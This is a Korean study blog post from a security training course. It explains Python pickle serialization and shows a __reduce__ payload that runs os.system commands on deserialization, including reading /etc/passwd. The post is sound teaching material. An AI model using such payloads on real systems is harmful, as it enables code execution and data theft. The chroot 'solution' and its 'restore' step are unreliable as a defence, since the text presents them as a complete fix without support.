[SK shieldus Rookies 19기][파이썬] 직렬화 역직렬화

Sungwuk·2024년 3월 16일
0

이번 과정에서 파이썬을 다시 배우게 되면서 전혀 접해 보지 못했던 기능 접해보고 실습할 수 있는 기회가 있었다. 가장 신박하게 다가왔던 것이 직렬화 역직렬화이다. 대학교 1학년 때 배우면 파이썬과는 전혀 다른 느낌으로 다가온다. 말이 너무 길었다. 직렬화와 역직렬화, 이에 따른 보안 취약점에 대해 알아보자.

직렬화란?

파이썬에서의 직렬화(Serialization)는 복잡한 데이터 구조나 객체를 쉽게 저장하고 전송할 수 있는 형식으로 변환하는 프로세스이다. 파이썬은 이러한 직렬화를 위해 pickle, json, xml, msgpack 등의 모듈을 제공한다. 하지만 이번 과정에서 배운 pickle 모듈 위주로 설명한다.

import os
import pickle


class MyExeCode(object):
    def __reduce__(self):
        return (os.system, ('dir c:\\', )) #cmd 명령어
        
def serialize():
    code = pickle.dumps(MyExeCode()) #cmd 명령어를 직렬화한다
    return code
    
if __name__ == '__main__':
    code = serialize()
    with open('data', 'wb') as f: #직렬화된 데이터를 저장한다.
        f.write(code)

직렬화된 코드는 바이트코드 형식으로 저장되며 별도의 16비트 txt reader를 설치해야 직렬화된 내용을 볼 수 있다.

역직렬화란?

직렬화된 데이터를 복원한다.

import pickle


def deserialize(code): 
    pickle.loads(code)  #직렬화된 데이터 복원하는 함수


if __name__ == '__main__':
    with open('data', 'rb') as f: #직렬화된 txt file을 열고
        deserialize(f.read())     #txt file을 역직렬화

직렬화된 코드(악성코드 ?)가 실행되면서 클라이언트가 의도하지 않은 결과가 수행됨.

리눅스 가상환경 play with docker 에서 실행해 보자

root 파일에 동일한 코드를 저장 후 실행.

os.system, ('cat /etc/passwd', ) 이 실행되어 가상환경의 내용이 유출 되는걸 볼 수 있다.

그럼 이 문제를 해결할려면 어떻게 해야할까?

solution: 루트 디렉토리를 바꿔준다

import os
import pickle
from contextlib import contextmanager

class MyExeCode(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd', )) #문제의 코드

def serialize():
    code = pickle.dumps(MyExeCode())
    return code

def deserialize(code):
    with system_jail():
        pickle.loads(code)

@contextmanager
def system_jail():
    os.chroot('/safe_root')		#시스템의 루트 디렉토리를 일시적으로 변경
    yield						#기존 open 작업 수행
    os.chroot('/')				#원래 루트 디렉토리로 재설정

if __name__ == '__main__':
    code = serialize()
    with open('data', 'wb') as f:
        f.write(code)

    with open('data', 'rb') as f:
        deserialize(f.read())

/safe_root/etc/passwd 파일이 존재하지 않기 때문에 아무런 출력이 발생하지 않는다 (직렬화 내용을 저장한 data 파일의 내용을 이전과 동일하다)

마치며

내가 알고 배웟던 파이썬과 너무 다르다. 처음 접하는 모듈(os pickle)과 사용법이 대부분이라, 수업 따라가기에 급급하다. 하지만 배우면 배울수록 성장하는 느낌은 팍팍 들어서 만족한다.

profile
https://github.com/John-Jung

0개의 댓글

관련 채용 정보